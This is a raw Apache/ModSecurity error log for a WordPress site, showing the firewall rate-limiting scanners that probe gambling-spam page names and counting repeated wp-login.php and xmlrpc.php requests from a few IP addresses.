[Sat Feb 14 03:39:57.486706 2026] [:error] [pid 18778:tid 18783] [client 51.68.235.38:60956] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aY9-DcewSHvW5JSIGL_HngAAAME"]
[Sat Feb 14 03:39:59.965649 2026] [:error] [pid 18651:tid 18689] [client 51.68.235.38:60966] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aY9-D8pMTAcPZwgKf53oCAAAAAg"]
[Sat Feb 14 03:40:38.258066 2026] [:error] [pid 18663:tid 18755] [client 51.68.235.38:60972] [client 51.68.235.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aY9-NlV2LQ8_7XrwSmgOVgAAAJQ"]
[Sat Feb 14 03:58:56.602097 2026] [:error] [pid 21752:tid 21756] [client 185.117.225.125:49256] [client 185.117.225.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aY-CgBOc0bldMgpeu11SEAAAAQI"]
[Sat Feb 14 03:59:07.504542 2026] [:error] [pid 21194:tid 21207] [client 185.117.225.125:43004] [client 185.117.225.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.117.225.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aY-Ci4W0MV8dvwNvAHoC8wAAAAQ"]
[Sat Feb 14 11:33:52.355944 2026] [autoindex:error] [pid 28853:tid 28858] [client 139.59.24.163:51533] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 14 16:49:34.985038 2026] [autoindex:error] [pid 36056:tid 36076] [client 207.180.241.56:54321] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 14 16:53:37.593157 2026] [:error] [pid 56719:tid 56763] [client 182.44.12.37:34982] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZA4EUBVs8LiCmFJP0CxcwAAAs0"]
[Sat Feb 14 19:41:00.687976 2026] [:error] [pid 50339:tid 50389] [client 43.159.148.45:52360] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfTMI6TclQ9GOl2Y1n5wAAAhM"]
[Sat Feb 14 19:41:03.964267 2026] [:error] [pid 8274:tid 8283] [client 43.159.148.45:52377] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfT7UW6xok4sn7YUnC9gAAAUM"]
[Sat Feb 14 19:41:07.736742 2026] [:error] [pid 50339:tid 50383] [client 43.159.148.45:52389] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfU8I6TclQ9GOl2Y1n-QAAAg0"]
[Sat Feb 14 19:41:09.615161 2026] [:error] [pid 36056:tid 36073] [client 43.159.148.45:52392] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfVbv3wQbSPS1vpOgSAAAAAA8"]
[Sat Feb 14 19:41:11.350061 2026] [:error] [pid 36219:tid 36264] [client 43.159.148.45:52394] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfV5e-m2OpEy0FNjhM3wAAA5A"]
[Sat Feb 14 19:41:13.094189 2026] [:error] [pid 56720:tid 56796] [client 43.159.148.45:52396] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfWXjg3vzUoXJ19eAaYAAAA9M"]
[Sat Feb 14 19:41:13.094357 2026] [:error] [pid 56720:tid 56796] [client 43.159.148.45:52396] [client 43.159.148.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 43.159.148.45, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfWXjg3vzUoXJ19eAaYAAAA9M"]
[Sat Feb 14 19:41:13.768428 2026] [:error] [pid 35135:tid 35138] [client 43.159.148.45:52399] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfWYkSccJZYMDP04w9OQAAAQA"]
[Sat Feb 14 19:41:13.768641 2026] [:error] [pid 35135:tid 35138] [client 43.159.148.45:52399] [client 43.159.148.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 43.159.148.45, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfWYkSccJZYMDP04w9OQAAAQA"]
[Sat Feb 14 19:41:14.433707 2026] [:error] [pid 35135:tid 35155] [client 43.159.148.45:52402] [client 43.159.148.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.159.148.45, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfWokSccJZYMDP04w9PQAAARE"]
[Sat Feb 14 19:41:14.433843 2026] [:error] [pid 35135:tid 35155] [client 43.159.148.45:52402] [client 43.159.148.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 43.159.148.45, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aZBfWokSccJZYMDP04w9PQAAARE"]
[Sat Feb 14 19:42:00.169632 2026] [:error] [pid 35135:tid 35142] [client 146.59.46.29:42980] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "aZBfiIkSccJZYMDP04w9igAAAQQ"]
[Sat Feb 14 19:42:01.071762 2026] [:error] [pid 56720:tid 56800] [client 146.59.46.29:36738] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBfiXjg3vzUoXJ19eAagwAAA9c"]
[Sat Feb 14 19:42:02.861470 2026] [:error] [pid 36056:tid 36071] [client 146.59.46.29:36754] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "aZBfirv3wQbSPS1vpOgSUQAAAA0"]
[Sat Feb 14 19:42:06.680897 2026] [:error] [pid 56720:tid 56792] [client 146.59.46.29:36766] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBfjnjg3vzUoXJ19eAahgAAA88"]
[Sat Feb 14 19:42:07.470060 2026] [:error] [pid 56720:tid 56796] [client 146.59.46.29:36780] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aZBfj3jg3vzUoXJ19eAaiAAAA9M"]
[Sat Feb 14 19:42:08.520642 2026] [:error] [pid 26209:tid 26285] [client 146.59.46.29:36808] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "aZBfkGexYDXnloPeXAV4SwAAApE"]
[Sat Feb 14 19:42:09.290398 2026] [:error] [pid 36056:tid 36079] [client 146.59.46.29:58438] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aZBfkbv3wQbSPS1vpOgSWAAAABU"]
[Sat Feb 14 19:42:12.409427 2026] [:error] [pid 63327:tid 63367] [client 146.59.46.29:58464] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aZBflC9btvSz88ToHa_enQAAAYs"]
[Sat Feb 14 19:42:12.760829 2026] [:error] [pid 26209:tid 26274] [client 146.59.46.29:58478] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZBflGexYDXnloPeXAV4TQAAAoY"]
[Sat Feb 14 19:42:13.393835 2026] [:error] [pid 26151:tid 26201] [client 146.59.46.29:58474] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZBflZyTBacUV3MCh6kl9wAAANQ"]
[Sat Feb 14 19:42:15.300957 2026] [:error] [pid 8274:tid 8298] [client 146.59.46.29:58498] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZBfl7UW6xok4sn7YUnDNAAAAVI"]
[Sat Feb 14 19:42:16.364659 2026] [:error] [pid 26151:tid 26181] [client 146.59.46.29:58520] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZBfmJyTBacUV3MCh6kl_QAAAMA"]
[Sat Feb 14 19:42:17.477604 2026] [:error] [pid 26151:tid 26190] [client 146.59.46.29:58554] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZBfmZyTBacUV3MCh6kmAwAAAMk"]
[Sat Feb 14 19:42:20.569903 2026] [:error] [pid 50339:tid 50387] [client 146.59.46.29:33566] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZBfnMI6TclQ9GOl2Y1oLwAAAhE"]
[Sat Feb 14 19:42:21.762745 2026] [:error] [pid 26209:tid 26287] [client 146.59.46.29:33568] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZBfnWexYDXnloPeXAV4VAAAApM"]
[Sat Feb 14 19:42:21.849771 2026] [:error] [pid 8274:tid 8288] [client 146.59.46.29:33588] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZBfnbUW6xok4sn7YUnDOAAAAUg"]
[Sat Feb 14 19:42:23.424596 2026] [:error] [pid 8274:tid 8285] [client 146.59.46.29:33594] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZBfn7UW6xok4sn7YUnDPAAAAUU"]
[Sat Feb 14 19:42:24.633495 2026] [:error] [pid 35135:tid 35151] [client 146.59.46.29:33612] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZBfoIkSccJZYMDP04w9lgAAAQ0"]
[Sat Feb 14 19:42:25.846736 2026] [:error] [pid 36219:tid 36266] [client 146.59.46.29:33628] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZBfoZe-m2OpEy0FNjhNEAAAA5I"]
[Sat Feb 14 19:42:26.486233 2026] [:error] [pid 63327:tid 63360] [client 146.59.46.29:33644] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZBfoi9btvSz88ToHa_eogAAAYQ"]
[Sat Feb 14 19:42:28.594137 2026] [:error] [pid 36219:tid 36251] [client 146.59.46.29:33666] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZBfpJe-m2OpEy0FNjhNFgAAA4M"]
[Sat Feb 14 19:42:29.532984 2026] [:error] [pid 8274:tid 8286] [client 146.59.46.29:57770] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBfpbUW6xok4sn7YUnDQgAAAUY"]
[Sat Feb 14 19:42:30.323752 2026] [:error] [pid 35135:tid 35146] [client 146.59.46.29:57790] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZBfpokSccJZYMDP04w9oQAAAQg"]
[Sat Feb 14 19:42:31.804145 2026] [:error] [pid 35135:tid 35139] [client 146.59.46.29:57798] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZBfp4kSccJZYMDP04w9pgAAAQE"]
[Sat Feb 14 19:42:32.391814 2026] [:error] [pid 63327:tid 63357] [client 146.59.46.29:57814] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZBfqC9btvSz88ToHa_eqAAAAYE"]
[Sat Feb 14 19:42:33.698914 2026] [:error] [pid 8274:tid 8289] [client 146.59.46.29:57832] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZBfqbUW6xok4sn7YUnDRwAAAUk"]
[Sat Feb 14 19:42:34.362254 2026] [:error] [pid 26150:tid 26172] [client 146.59.46.29:57842] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "aZBfqqqmPH3D5QJaUSHEiAAAAJI"]
[Sat Feb 14 19:42:35.520328 2026] [:error] [pid 56720:tid 56780] [client 146.59.46.29:57864] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZBfq3jg3vzUoXJ19eAamQAAA8M"]
[Sat Feb 14 19:42:36.415648 2026] [:error] [pid 35135:tid 35156] [client 146.59.46.29:57892] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZBfrIkSccJZYMDP04w9qAAAARI"]
[Sat Feb 14 19:42:36.990338 2026] [:error] [pid 26150:tid 26154] [client 146.59.46.29:57906] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZBfrKqmPH3D5QJaUSHEigAAAIA"]
[Sat Feb 14 19:42:39.236960 2026] [:error] [pid 8274:tid 8292] [client 146.59.46.29:56158] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZBfr7UW6xok4sn7YUnDTgAAAUw"]
[Sat Feb 14 19:42:40.699121 2026] [:error] [pid 26209:tid 26273] [client 146.59.46.29:56170] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZBfsGexYDXnloPeXAV4XQAAAoU"]
[Sat Feb 14 19:42:41.446002 2026] [:error] [pid 50339:tid 50376] [client 146.59.46.29:56190] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZBfscI6TclQ9GOl2Y1oQwAAAgY"]
[Sat Feb 14 19:42:41.822076 2026] [:error] [pid 26209:tid 26290] [client 146.59.46.29:56208] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZBfsWexYDXnloPeXAV4XwAAApY"]
[Sat Feb 14 19:42:43.430172 2026] [:error] [pid 36219:tid 36272] [client 146.59.46.29:56234] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZBfs5e-m2OpEy0FNjhNHAAAA5g"]
[Sat Feb 14 19:42:44.348224 2026] [:error] [pid 36219:tid 36255] [client 146.59.46.29:56274] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZBftJe-m2OpEy0FNjhNHwAAA4c"]
